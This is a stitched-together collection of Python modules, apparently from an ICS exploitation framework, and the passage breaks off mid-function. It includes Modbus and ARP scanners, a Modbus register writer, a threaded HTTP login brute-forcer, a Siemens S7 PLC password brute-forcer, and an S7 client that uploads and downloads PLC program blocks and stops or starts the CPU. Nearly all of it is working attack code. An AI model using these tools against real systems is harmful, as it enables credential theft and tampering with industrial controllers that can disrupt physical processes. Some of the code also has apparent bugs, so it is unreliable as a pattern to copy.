class TestExploitWithValidators(Exploit): doo = Option(default="default_value", description="description_three", validators=suffix) paa = Option(default="default_value", description="description_three", validators=(suffix, SUFFIX))
class Exploit(Exploit): __info__ = { 'name': 'discovery/safe', 'display_name': 'Safe ARP Host Discovery', 'authors': [ 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'description': 'Safe host discovery using ARP Scan.', 'references': [ '', ], 'devices': [ 'Multi' ], } result = [] target = Option('192.168.1.0/24', "String for hosts as nmap use it 'scanme.nmap.org'" " or '198.116.0-255.1-127' or '216.163.128.20/20'", validators=Validators.ipv4) speed = Option(2, "Nmap Scan Speed [1-5]. Low values are recommended. High values could be disrupting.", validators=Validators.integer) def run(self): try: arguments = "-T{s} -n -PR -sn " nm = nmap.PortScanner() nm.scan(hosts=self.target, arguments=arguments.format(s=self.speed)) for host in nm.all_hosts(): try: ipv4 = nm[host]['addresses']['ipv4'] mac = nm[host]['addresses']['mac'] vendor = nm[host]['vendor'][mac] except Exception as e: if 'mac' in str(e): mac = 'Unknown' vendor = 'Unknown' if 'vendor' in str(e): vendor = 'Unknown' finally: self.result.append([ipv4, mac, vendor]) ipv4 = "" mac = "" vendor = "" unique_device = [list(x) for x in set(tuple(x) for x in self.result)] unique_device = sorted(unique_device, key=lambda x: (x[0], x[1])) if len(self.result) > 0: print_success("Found %s devices." % len(self.result)) printTable(TABLE_HEADER, *unique_device, **{'max_column_length': 50}) print('\r') self.result = [] else: print_error("Didn't find any device on network %s" % self.target) except: print_error("Discovery Error. Aborting.")
class Exploit(Exploit): """ Exploit template. """ __info__ = { 'name': '', 'display_name': '', 'authors': [ '', '', ], 'description': '', 'references': [ '', ], 'devices': [ '', ], } target = Option('', 'Target address e.g. http://192.168.1.1', validators=Validators.url) port = Option(80, 'Target Port') def run(self): pass
class Exploit(Exploit): __info__ = { 'name': 'exploits/modbus-cli', 'display_name': 'Modbus-cli', 'authors': [ 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'description': 'Modbus-cli commands.', 'references': [ 'https://github.com/tallakt/modbus-cli', ], 'devices': [ 'Schneider', 'Modicon', ], } target = Option('192.168.1.1', 'Target address.', validators=Validators.ipv4) port = Option(502, 'Target Port', validators=Validators.integer) mode = Option('read', 'Action: read or write.') value = Option('1', 'Value to be wrote (Only in Write mode).') address = Option( '%MW100', 'Target Register Address (Schneider-like and Modicon-like addresses)') limit = Option('100', 'Register Limit') def run(self): if self.mode is 'read': self.read() elif self.mode is 'write': self.write() else: print_error("Mode: " + self.mode + " doesn't exist.") def read(self): try: output = subprocess.check_output( ['modbus', 'read', self.target, self.address, self.limit], stderr=subprocess.STDOUT) for x in output.decode().split('\n'): if x is not "": print_success(x) except: print_error("Connection Error. Aborting.") def write(self): try: print_status("Writing '" + self.value + "' in " + self.address + ".") subprocess.call( ['modbus', 'write', self.target, self.address, self.value], stderr=subprocess.STDOUT) print_success("Executed successfully.") except: print_error("Connection Error. Aborting.")
class Exploit(Exploit): """ Module performs bruteforce attack against HTTP form service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'credentials/http/form_bruteforce', 'display_name': 'HTTP Form Bruteforce', 'description': 'Module performs bruteforce attack against HTTP form service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'references': [ 'https://github.com/dark-lbp/isf', ], 'devices': [ 'Multi', ], } target = Option('192.168.1.1', 'Target IP address or file with target:port (file://)') port = Option(80, 'Target port') threads = Option(8, 'Number of threads') usernames = Option('admin', 'Username or file with usernames (file://)') passwords = Option(Wordlists.passwords, 'Password or file with passwords (file://)') form = Option( 'auto', 'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit') path = Option('/login.php', 'URL Path') form_path = Option('same', 'same as path or URL Form Path') verbosity = Option('yes', 'Display authentication attempts') stop_on_success = Option('yes', 'Stop on first valid authentication attempt') credentials = [] data = "" invalid = {"min": 0, "max": 0} def run(self): self.credentials = [] self.attack() def get_form_path(self): if self.form_path == 'same': return self.path else: return self.form_path @multi def attack(self): url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path())) try: requests.get(url, verify=False) except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): print_error("Invalid URL format: %s" % url) return except requests.exceptions.ConnectionError: print_error("Connection error: %s" % url) return # authentication type if self.form == 'auto': form_data = self.detect_form() if form_data is None: print_error("Could not detect form") return (form_action, self.data) = form_data if form_action: self.path = form_action else: self.data = self.form print_status("Using following data: ", self.data) # invalid authentication self.invalid_auth() # running threads if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = LockedIterator(itertools.product(usernames, passwords)) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") printTable(headers, *self.credentials) else: print_error("Credentials not found") def invalid_auth(self): for i in range(0, 21, 5): url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) headers = {u'Content-Type': u'application/x-www-form-urlencoded'} user = "******" * i password = "******" * i postdata = self.data.replace("{{USER}}", user).replace("{{PASS}}", password) r = requests.post(url, headers=headers, data=postdata, verify=False) l = len(r.text) if i == 0: self.invalid = {"min": l, "max": l} if l < self.invalid["min"]: self.invalid["min"] = l elif l > self.invalid["max"]: self.invalid["max"] = l def detect_form(self): url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path())) r = requests.get(url, verify=False) soup = BeautifulSoup(r.text, "lxml") forms = soup.findAll("form") if forms is None: return None res = [] action = None user_name_list = [ "username", "user", "user_name", "login", "username_login", "nameinput", "uname", "__auth_user", "txt_user", "txtusername" ] password_list = [ "password", "pass", "password_login", "pwd", "passwd", "__auth_pass", "txt_pwd", "txtpwd" ] found = False for form in forms: tmp = [] if not len(form): continue action = form.attrs.get('action', None) if action and not action.startswith("/"): action = "/" + action for inp in form.findAll("input"): attributes = ["name", "id"] for atr in attributes: if atr not in inp.attrs.keys(): continue if inp.attrs[atr].lower( ) in user_name_list and inp.attrs['type'] != "hidden": found = True tmp.append(inp.attrs[atr] + "=" + "{{USER}}") elif inp.attrs[atr].lower( ) in password_list and inp.attrs['type'] != "hidden": found = True tmp.append(inp.attrs[atr] + "=" + "{{PASS}}") else: if 'value' in inp.attrs.keys(): tmp.append(inp.attrs[atr] + "=" + inp.attrs['value']) elif inp.attrs['type'] not in ("submit", "button"): tmp.append(inp.attrs[atr] + "=") if found: res = tmp res = list(set(res)) return action, '&'.join(res) def target_function(self, running, data): module_verbosity = Validators.boolify(self.verbosity) name = threading.current_thread().name url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) headers = {u'Content-Type': u'application/x-www-form-urlencoded'} print_status(name, 'process is starting...', verbose=module_verbosity) while running.is_set(): try: user, password = data.next() user = user.strip() password = password.strip() postdata = self.data.replace("{{USER}}", user).replace( "{{PASS}}", password) r = requests.post(url, headers=headers, data=postdata, verify=False) l = len(r.text) if l < self.invalid["min"] or l > self.invalid["max"]: if Validators.boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) else: print_error( name, "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) except StopIteration: break print_status(name, 'process is terminated.', verbose=module_verbosity)
class TestExploitBar(Exploit): doo = Option(default=3, description="description_three") paa = Option(default=4, description="description_four")
class TestExploitFoo(Exploit): doo = Option(default=1, description="description_one") paa = Option(default=2, description="description_two")
class Exploit(Exploit): __info__ = { 'name': 'scanners/modbus', 'display_name': 'Modbus Device Scanner', 'authors': [ 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'description': 'Scan all device which support Modbus protocol.', 'references': [ ], 'devices': [ 'Multi', ], } target = Option('', "String for hosts as nmap use it 'scanme.nmap.org'" " or '198.116.0-255.1-127' or '216.163.128.20/20'") port = Option(502, 'Modbus port, default is 502/TCP', validators=Validators.integer) verbose = Option(0, 'Scapy verbose level, 0 to 2', validators=Validators.integer) max_slot = Option(5, 'Maximum PLC Slot number for scan, default is 5, set to 10 ' 'if you want scan up to slot 10', validators=Validators.integer) output_file = Option('', "output file path") result = [] def get_target_info(self, host, port): product_name = '' device_type = '' vendor = '' revision = '' serial_number = '' slot = '' ip_address = host target = ModbusClient() target.connect(host, port) for slot_num in range(self.max_slot + 1): print_status("Tring to scan %s with Slot%s" % (host, slot_num)) try: product_name, device_type, vendor, revision, serial_number = \ target.get_target_info(port_segment=slot_num) print(product_name, device_type, vendor, revision, serial_number) slot = slot_num ip_address = host if serial_number != '': self.result.append([product_name, device_type, vendor, revision, serial_number, str(slot), ip_address]) except Exception as err: print_error(err) return False def run(self): self.result = [] #conf.verb = self.verbose nm = port_scan(protocol='TCP', target=self.target, port=self.port) for host in nm.all_hosts(): if nm[host]['tcp'][self.port]['state'] == "open": print_success("Host: %s, port:%s is open" % (host, self.port)) self.get_target_info(host=host, port=self.port) unique_device = [list(x) for x in set(tuple(x) for x in self.result)] unique_device = sorted(unique_device, key=lambda x: (x[5], x[6])) if len(self.result) > 0: print_success("Find %s targets" % len(self.result)) printTable(TABLE_HEADER, *unique_device, **{'max_column_length': 20}) print('\r') else: print_error("Didn't find any target on network %s" % self.target) def command_export(self, file_path, *args, **kwargs): unique_device = [list(x) for x in set(tuple(x) for x in self.result)] unique_device = sorted(unique_device, key=lambda x: (x[5], x[6])) export_table(file_path, TABLE_HEADER, unique_device)
class Exploit(Exploit): __info__ = { 'name': 'credentials/s7/bruteforce', 'display_name': 'S7 PLC Password Bruteforce', 'description': 'Module performs bruteforce attack against S7 300/400 Device. ' 'If valid password string is found, it is displayed to the user.', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>', 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'references': [ 'https://github.com/dark-lbp/isf', ], 'devices': [ 'Siemens S7-300', 'Siemens S7-400' ], } target = Option('192.168.1.1', 'Target address.', validators=Validators.ipv4) port = Option(102, 'Target port.', validators=Validators.integer) rack = Option(0, 'CPU rack number.', validators=Validators.integer) slot = Option(2, 'CPU slot number.', validators=Validators.integer) password = Option(Wordlists.passwords, 'password string or file with community strings (file://)') threads = Option(3, 'Number of threads.') verbose = Option(0, 'Verbose scapy output. 1: display, 0: hide', validators=Validators.choice([0, 1])) stop_on_success = Option('yes', 'Stop on first valid community string') strings = [] def run(self): conf.verb = int(self.verbose) self.strings = [] self.attack() @multi def attack(self): # todo: check if service is up if self.password.startswith('file://'): s7_pass = open(self.password[7:], 'r') else: s7_pass = [self.password] collection = LockedIterator(s7_pass) self.run_threads(self.threads, self.target_function, collection) if len(self.strings): print_success("Credentials found!") headers = ("Target", "Port", "password") printTable(headers, *self.strings) else: print_error("Valid password not found") def target_function(self, running, data): module_verbosity = boolify(self.verbose) name = threading.current_thread().name print_status(name, 'thread is starting...', verbose=module_verbosity) s7_client = S7Client() s7_client.connect() if not module_verbosity: s7_client.logger.setLevel(50) while running.is_set(): try: string = data.next().strip() if len(string) > 8: continue s7_client.check_privilege() if s7_client.protect_level == 1: print_error("Target didn't set password.") return s7_client.auth(string) if s7_client.authorized: if boolify(self.stop_on_success): running.clear() print_success("Target: {}:{} {}: Valid password string found - String: '{}'".format( self.target, self.port, name, string), verbose=module_verbosity) self.strings.append((self.target, self.port, string)) else: print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format( self.target, self.port, name, string), verbose=module_verbosity) except StopIteration: break print_status(name, 'thread is terminated.', verbose=module_verbosity)
class Exploit(Base): __info__ = { 'name': 'clients/s7', 'display_name': 'Modbus Client', 'description': '', 'authors': [ 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'references': [ '', ], 'devices': [ 'Multi', ], } target = Option('', 'Target IP address') port = Option(102, 'Target port') src_tsap = Option(str('\x01\x00'), 'Source tsap') rack = Option(0, 'Rack') slot = Option(2, 'Slot') dst_tsap = Option( str('\x01') + str(struct.pack('B', rack.default * 0x20 + slot.default)), "Dest Tsap. Do not change.") timeout = Option(2, 'Connection timeout') def __init__(self): super(Exploit, self).__init__(name='S7 Client') self._pdur = 1 self.protect_level = None self._connection = None self._connected = False self._pdu_length = 480 self.readable = False self.writeable = False self.authorized = False self._password = None self._mmc_password = None self.is_running = False def run(self): self.connect() def connect(self): sock = socket.socket() sock.settimeout(self.timeout) sock.connect((self.target, self.port)) self._connection = StreamSocket(sock, Raw) packet1 = TPKT() / COTPCR() packet1.Parameters = [COTPOption() for i in range(3)] packet1.PDUType = "CR" packet1.Parameters[0].ParameterCode = "tpdu-size" packet1.Parameters[0].Parameter = "\x0a" packet1.Parameters[1].ParameterCode = "src-tsap" packet1.Parameters[2].ParameterCode = "dst-tsap" packet1.Parameters[1].Parameter = self.src_tsap packet1.Parameters[2].Parameter = self.dst_tsap self.send_receive_packet(packet1) packet2 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7SetConParameter()) rsp2 = self.send_receive_s7_packet(packet2) if rsp2: self._connected = True # Todo: Need get pdu length from rsp2 def _get_cpu_protect_level(self): packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="UserData", Parameters=S7ReadSZLParameterReq(), Data=S7ReadSZLDataReq(SZLId=0x0232, SZLIndex=0x0004)) rsp = self.send_receive_s7_packet(packet1) self.protect_level = int(str(rsp)[48].encode('hex')) self.logger.info("CPU protect level is %s" % self.protect_level) def get_target_info(self): order_code = '' version = '' module_type_name = '' as_name = '' module_name = '' serial_number = '' packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="UserData", Parameters=S7ReadSZLParameterReq(), Data=S7ReadSZLDataReq(SZLId=0x0011, SZLIndex=0x0000)) rsp1 = self.send_receive_s7_packet(packet1) try: order_code_data = rsp1[ S7ReadSZLDataTreeRsp].Data[:rsp1[S7ReadSZLDataRsp].SZLLength] order_code = order_code_data[2:-7] version_data = rsp1[S7ReadSZLDataTreeRsp].Data[-3:] version = 'V {:x}.{:x}.{:x}'.format( int(version_data[0].encode('hex'), 16), int(version_data[1].encode('hex'), 16), int(version_data[2].encode('hex'), 16), ) except Exception as err: self.logger.error("Can't get order code and version from target") return order_code, version, module_type_name, as_name, module_name, serial_number packet2 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="UserData", Parameters=S7ReadSZLParameterReq(), Data=S7ReadSZLDataReq(SZLId=0x001c, SZLIndex=0x0000)) rsp2 = self.send_receive_s7_packet(packet2) try: module_name_data = rsp2[S7ReadSZLDataTreeRsp].Data[ rsp2[S7ReadSZLDataRsp].SZLLength + 2:rsp2[S7ReadSZLDataRsp].SZLLength * 2] module_name = str( module_name_data[:module_name_data.index('\x00')]) self.logger.debug("module_name:%s " % module_name) as_name_data = rsp2[S7ReadSZLDataTreeRsp].Data[ 2:rsp2[S7ReadSZLDataRsp].SZLLength] as_name = str(as_name_data[:as_name_data.index('\x00')]) self.logger.debug("as_name:%s " % as_name) serial_number_data = rsp2[S7ReadSZLDataTreeRsp].Data[ rsp2[S7ReadSZLDataRsp].SZLLength * 4 + 2:rsp2[S7ReadSZLDataRsp].SZLLength * 5] serial_number = str( serial_number_data[:serial_number_data.index('\x00')]) self.logger.debug("serial_number:%s " % serial_number) module_type_name_data = rsp2[S7ReadSZLDataTreeRsp].Data[ rsp2[S7ReadSZLDataRsp].SZLLength * 5 + 2:rsp2[S7ReadSZLDataRsp].SZLLength * 6] module_type_name = str( module_type_name_data[:module_type_name_data.index('\x00')]) self.logger.debug("module_type_name:%s " % module_type_name) except Exception as err: self.logger.error("Can't get module info from target") return order_code, version, module_type_name, as_name, module_name, serial_number return order_code, version, module_type_name, as_name, module_name, serial_number def check_privilege(self): self._get_cpu_protect_level() if self.protect_level == 1: self.logger.info("You have full privilege with this targets") self.readable = True self.writeable = True if self.protect_level == 2: if self.authorized is True: self.logger.info("You have full privilege with this targets") self.readable = True self.writeable = True else: self.logger.info( "You only have read privilege with this targets") self.readable = True self.writeable = False if self.protect_level == 3: if self.authorized is True: self.logger.info("You have full privilege with this targets") self.readable = True self.writeable = True else: self.logger.info("You can't read or write with this targets") self.readable = False self.writeable = False def auth(self, password): """ :param password: Paintext PLC password. """ self.logger.info("Start authenticate with password %s" % password) password_hash = self._hash_password(password) packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="UserData", Parameters=S7PasswordParameterReq(), Data=S7PasswordDataReq(Data=password_hash)) rsp1 = self.send_receive_s7_packet(packet1) if rsp1.haslayer(S7PasswordParameterRsp): if rsp1[S7PasswordParameterRsp].ErrorCode == 0: self.authorized = True self.logger.info("Authentication succeed") else: if self.authorized is True: self.logger.info("Already authorized") else: error_code = rsp1[S7PasswordParameterRsp].ErrorCode if error_code in S7_ERROR_CLASS.keys(): self.logger.error("Got error code: %s" % S7_ERROR_CLASS[error_code]) else: self.logger.error("Get error code: %s" % hex(error_code)) self.logger.error("Authentication failure") self.check_privilege() else: self.logger.info( "Receive unknown format packet, authentication failure") def clean_session(self): self.logger.info("Start clean the session") packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="UserData", Parameters=S7CleanSessionParameterReq(), Data=S7CleanSessionDataReq()) rsp1 = self.send_receive_s7_packet(packet1) if rsp1.haslayer(S7CleanSessionParameterRsp): if rsp1[S7CleanSessionParameterRsp].ErrorCode == 0: self.authorized = False self.logger.info("session cleaned") else: error_code = rsp1[S7CleanSessionParameterRsp].ErrorCode if error_code in S7_ERROR_CLASS.keys(): self.logger.error("Got error code: %s" % S7_ERROR_CLASS[error_code]) else: self.logger.error("Get error code: %s" % hex(error_code)) else: self.logger.info( "Receive unknown format packet, authentication failure") def _hash_password(self, password): password_hash_new = '' if len(password) < 1 or len(password) > 8: self.logger.error("Password length must between 1 to 8") return None else: password += bytes.fromhex('20') * (8 - len(password)) for i in range(8): if i < 2: temp_data = ord(password[i]) temp_data ^= 0x55 password_hash_new += str(chr(temp_data)) else: temp_data1 = ord(password[i]) temp_data2 = ord(password_hash_new[i - 2]) temp_data1 = temp_data1 ^ 0x55 ^ temp_data2 password_hash_new += str(chr(temp_data1)) return password_hash_new def _fix_pdur(self, payload): if self._pdur > 65535: self._pdur = 1 try: payload.PDUR = self._pdur self._pdur += 1 return payload except Exception as err: self.logger.error(err) return payload def send_packet(self, packet): if self._connection: try: self._connection.send(packet) except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before send packet!") def send_receive_packet(self, packet): if self._connection: try: rsp = self._connection.sr1(packet, timeout=self.timeout) return rsp except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before send packet!") def receive_packet(self): if self._connection: try: rsp = self._connection.recv() return rsp except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before receive packet!") def send_s7_packet(self, packet): if self._connection: packet = self._fix_pdur(packet) try: self._connection.send(packet) except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before send packet!") def send_receive_s7_packet(self, packet): if self._connection: packet = self._fix_pdur(packet) try: rsp = self._connection.sr1(packet, timeout=self.timeout) if rsp: rsp = TPKT(str(rsp)) return rsp except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before send packet!") def receive_s7_packet(self): if self._connection: try: rsp = self._connection.recv() if rsp: rsp = TPKT(str(rsp)) return rsp except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before receive packet!") def upload_block_from_target(self, block_type, block_num, dist='A'): """ :param block_type: "08": 'OB', "09": 'CMOD', "0A": 'DB', "0B": 'SDB', "0C": 'FC', "0D": 'SFC', "0E": 'FB', "0F": 'SFB' :param block_num: Block number. :param dist: 'A': "Active embedded module", 'B': "Active as well as passive module", 'P': "Passive (copied, but not chained) module" :return: Block Data """ if self.readable is False: self.logger.info("Didn't have read privilege on targets") return None block_data = '' if block_type in S7_BLOCK_TYPE_IN_FILE_NAME.keys(): file_block_type = block_type else: for key, name in S7_BLOCK_TYPE_IN_FILE_NAME.items(): if name == block_type: file_block_type = key break else: self.logger.error( "block_type: %s is incorrect please check again" % block_type) return if type(block_num) != int: self.logger.error("block_num must be int format.") return file_block_num = "{0:05d}".format(block_num) file_name = '_' + file_block_type + file_block_num + dist self.logger.info("Start upload %s%s from target" % (block_type, block_num)) packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7RequestUploadBlockParameterReq(Filename=file_name)) rsp1 = self.send_receive_s7_packet(packet1) # Todo: Might got some error if rsp1.ErrorClass != 0x0: self.logger.error("Can't upload %s%s from target" % (block_type, block_num)) self.logger.error("Error Class: %s, Error Code %s" % (rsp1.ErrorClass, rsp1.ErrorCode)) return None packet2 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7UploadBlockParameterReq()) packet2[S7UploadBlockParameterReq].UploadId = rsp1[ S7RequestUploadBlockParameterRsp].UploadId while True: rsp2 = self.send_receive_s7_packet(packet2) if rsp2.ErrorClass != 0x0: self.logger.error("Can't upload %s%s from targets" % (block_type, block_num)) self.logger.error("Error Class: %s, Error Code %s" % (rsp1.ErrorClass, rsp1.ErrorCode)) return None self.logger.debug("rsp2: %s" % str(rsp2).encode('hex')) block_data += rsp2.Data.Data if rsp2.Parameters.FunctionStatus != 1: break packet3 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7UploadBlockEndParameterReq()) self.send_receive_s7_packet(packet3) self.logger.info("Upload %s%s from target succeed" % (block_type, block_num)) return block_data def get_info_from_block(self, block_data): """ :param block_data: Block data. :return: mem_length, mc7_length, block_type, block_num """ try: mem_length = struct.unpack('!i', block_data[8:12])[0] mc7_length = struct.unpack('!h', block_data[34:36])[0] block_type = S7_BLOCK_TYPE_IN_BLOCK[ord(block_data[5])] block_num = struct.unpack('!h', block_data[6:8])[0] return mem_length, mc7_length, block_type, block_num except Exception as err: self.logger.error(err) return None def download_block_to_target(self, block_data, dist='P', transfer_size=462, stop_target=False): """ Download block to target and active block. :param block_data: Block data to download. :param dist: 'A': "Active embedded module", 'B': "Active as well as passive module", 'P': "Passive (copied, but not chained) module". :param transfer_size: Transfer size for each packet. :param stop_target: Stop target PLC before download block, True or False. """ if self.writeable is False: self.logger.info("Didn't have write privilege on targets") return None mem_length, mc7_length, block_type, block_num = self.get_info_from_block( block_data) self.logger.info("Start download %s%s to targets" % (block_type, block_num)) file_block_type = None for key, name in S7_BLOCK_TYPE_IN_FILE_NAME.items(): if name == block_type: file_block_type = key break if not file_block_type: self.logger.error( "block_type: %s is incorrect please check again" % block_type) return file_block_num = "{0:05d}".format(block_num) file_name = '_' + file_block_type + file_block_num + dist load_memory_length = '0' * (6 - len(str(mem_length))) + str(mem_length) mc7_length = '0' * (6 - len(str(mc7_length))) + str(mc7_length) packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7RequestDownloadParameterReq( Filename=file_name, LoadMemLength=load_memory_length, MC7Length=mc7_length)) rsp1 = self.send_receive_s7_packet(packet1) if rsp1.ErrorClass != 0x0: self.logger.error("Can't Download %s%s to targets" % (block_type, block_num)) self.logger.error("Error Class: %s, Error Code %s" % (rsp1.ErrorClass, rsp1.ErrorCode)) return None if len(rsp1) > 20: download_req = TPKT(rsp1.load) else: download_req = self.receive_s7_packet() # Get pdur from download_req self._pdur = download_req.PDUR # DownloadBlock for i in range(0, len(block_data), transfer_size): if i + transfer_size <= len(block_data): packet2 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="AckData", Parameters=S7DownloadParameterRsp(FunctionStatus=1), Data=S7DownloadDataRsp(Data=block_data[i:i + transfer_size])) rsp2 = self.send_receive_s7_packet(packet2) self._pdur = rsp2.PDUR else: packet2 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="AckData", Parameters=S7DownloadParameterRsp(FunctionStatus=0), Data=S7DownloadDataRsp(Data=block_data[i:i + transfer_size])) self.send_s7_packet(packet2) # DownloadBlockEnd download_end_req = self.receive_s7_packet() self._pdur = download_end_req.PDUR packet3 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="AckData", Parameters=S7DownloadEndParameterRsp()) self.send_s7_packet(packet3) # Insert block self.logger.debug("File_name:%s" % ('\x00' + file_name[1:])) packet4 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7PIServiceParameterReq( ParameterBlock=S7PIServiceParameterBlock( FileNames=['\x00' + file_name[1:]]), PI="_INSE")) # Todo: Might have a better way to do this # packet4[S7PIServiceParameterReq].ParameterBlock = S7PIServiceParameterBlock(FileNames=[file_name[1:]]) rsp4 = self.send_receive_s7_packet(packet4) if rsp4.ErrorClass != 0x0: self.logger.error("Can't insert %s%s to targets" % (block_type, block_num)) self.logger.error("Error Class: %s, Error Code %s" % (rsp1.ErrorClass, rsp1.ErrorCode)) return None self.logger.info("Download %s%s to target succeed" % (block_type, block_num)) def download_block_to_target_only(self, block_data, dist='P', transfer_size=462, stop_target=False): """ Download block to target only (didn't active block). :param block_data: Block data to download. :param dist: 'A': "Active embedded module", 'B': "Active as well as passive module", 'P': "Passive (copied, but not chained) module". :param transfer_size: Transfer size for each packet. :param stop_target: Stop target PLC before download block, True or False. """ if self.writeable is False: self.logger.info("Didn't have write privilege on targets") return None mem_length, mc7_length, block_type, block_num = self.get_info_from_block( block_data) self.logger.info("Start download %s%s to targets" % (block_type, block_num)) file_block_type = None for key, name in S7_BLOCK_TYPE_IN_FILE_NAME.items(): if name == block_type: file_block_type = key break if not file_block_type: self.logger.error( "block_type: %s is incorrect please check again" % block_type) return file_block_num = "{0:05d}".format(block_num) file_name = '_' + file_block_type + file_block_num + dist load_memory_length = '0' * (6 - len(str(mem_length))) + str(mem_length) mc7_length = '0' * (6 - len(str(mc7_length))) + str(mc7_length) packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7RequestDownloadParameterReq( Filename=file_name, LoadMemLength=load_memory_length, MC7Length=mc7_length)) rsp1 = self.send_receive_s7_packet(packet1) if rsp1.ErrorClass != 0x0: self.logger.error("Can't Download %s%s to targets" % (block_type, block_num)) self.logger.error("Error Class: %s, Error Code %s" % (rsp1.ErrorClass, rsp1.ErrorCode)) return None if len(rsp1) > 20: download_req = TPKT(rsp1.load) else: download_req = self.receive_s7_packet() # Get pdur from download_req self._pdur = download_req.PDUR # DownloadBlock for i in range(0, len(block_data), transfer_size): if i + transfer_size <= len(block_data): packet2 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="AckData", Parameters=S7DownloadParameterRsp(FunctionStatus=1), Data=S7DownloadDataRsp(Data=block_data[i:i + transfer_size])) rsp2 = self.send_receive_s7_packet(packet2) self._pdur = rsp2.PDUR else: packet2 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="AckData", Parameters=S7DownloadParameterRsp(FunctionStatus=0), Data=S7DownloadDataRsp(Data=block_data[i:i + transfer_size])) self.send_s7_packet(packet2) # DownloadBlockEnd download_end_req = self.receive_s7_packet() self._pdur = download_end_req.PDUR packet3 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="AckData", Parameters=S7DownloadEndParameterRsp()) self.send_s7_packet(packet3) self.logger.info("Download %s%s to target succeed" % (block_type, block_num)) def get_target_status(self): packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="UserData", Parameters=S7ReadSZLParameterReq(), Data=S7ReadSZLDataReq(SZLId=0x0424, SZLIndex=0x0000)) rsp = self.send_receive_s7_packet(packet1) status = str(rsp)[44] if status == '\x08': self.logger.info("Target is in run mode") self.is_running = True elif status == '\x04': self.logger.info("Target is in stop mode") self.is_running = False else: self.logger.info("Target is in unknown mode") self.is_running = False def stop_target(self): self.get_target_status() if not self.is_running: self.logger.info("Target is already stop") return self.logger.info("Trying to stop targets") packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7StopCpuParameterReq()) rsp1 = self.send_receive_s7_packet(packet1) if rsp1.ErrorClass != 0x0: self.logger.error("Can't Stop Target") self.logger.error("Error Class: %s, Error Code %s" % (rsp1.ErrorClass, rsp1.ErrorCode)) return time.sleep(2) # wait targets to stop self.get_target_status() def start_target(self, cold=False): """ Start target PLC :param cold: Doing cold restart, True or False. """ self.get_target_status() if self.is_running: self.logger.info("Target is already running") return self.logger.info("Trying to start targets") if cold: packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7PIServiceParameterReq( ParameterBlock=S7PIServiceParameterStringBlock())) else: packet1 = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7PIServiceParameterReq()) rsp1 = self.send_receive_s7_packet(packet1) if rsp1.ErrorClass != 0x0: self.logger.error("Can't Start Target") self.logger.error("Error Class: %s, Error Code %s" % (rsp1.ErrorClass, rsp1.ErrorCode)) return time.sleep(2) # wait targets to start self.get_target_status() @staticmethod def get_transport_size_from_data_type(data_type): for key, name in S7_TRANSPORT_SIZE_IN_PARM_ITEMS.items(): if isinstance(data_type, str): if name.startswith(data_type.upper()): return key elif isinstance(data_type, int): return data_type return None def get_item_pram_from_item(self, item): block_num = '' area_type = '' address = '' transport_size = '' try: for key in VAR_NAME_TYPES: if isinstance(item[0], str): if item[0].startswith(key): area_type = VAR_NAME_TYPES[key] elif isinstance(item[0], int): if item[0] in VAR_NAME_TYPES.keys(): area_type = item[0] # Data block if area_type == 0x84: block_num = int(item[0][2:]) else: block_num = 0 if isinstance(item[1], str): address_data = item[1].split('.') 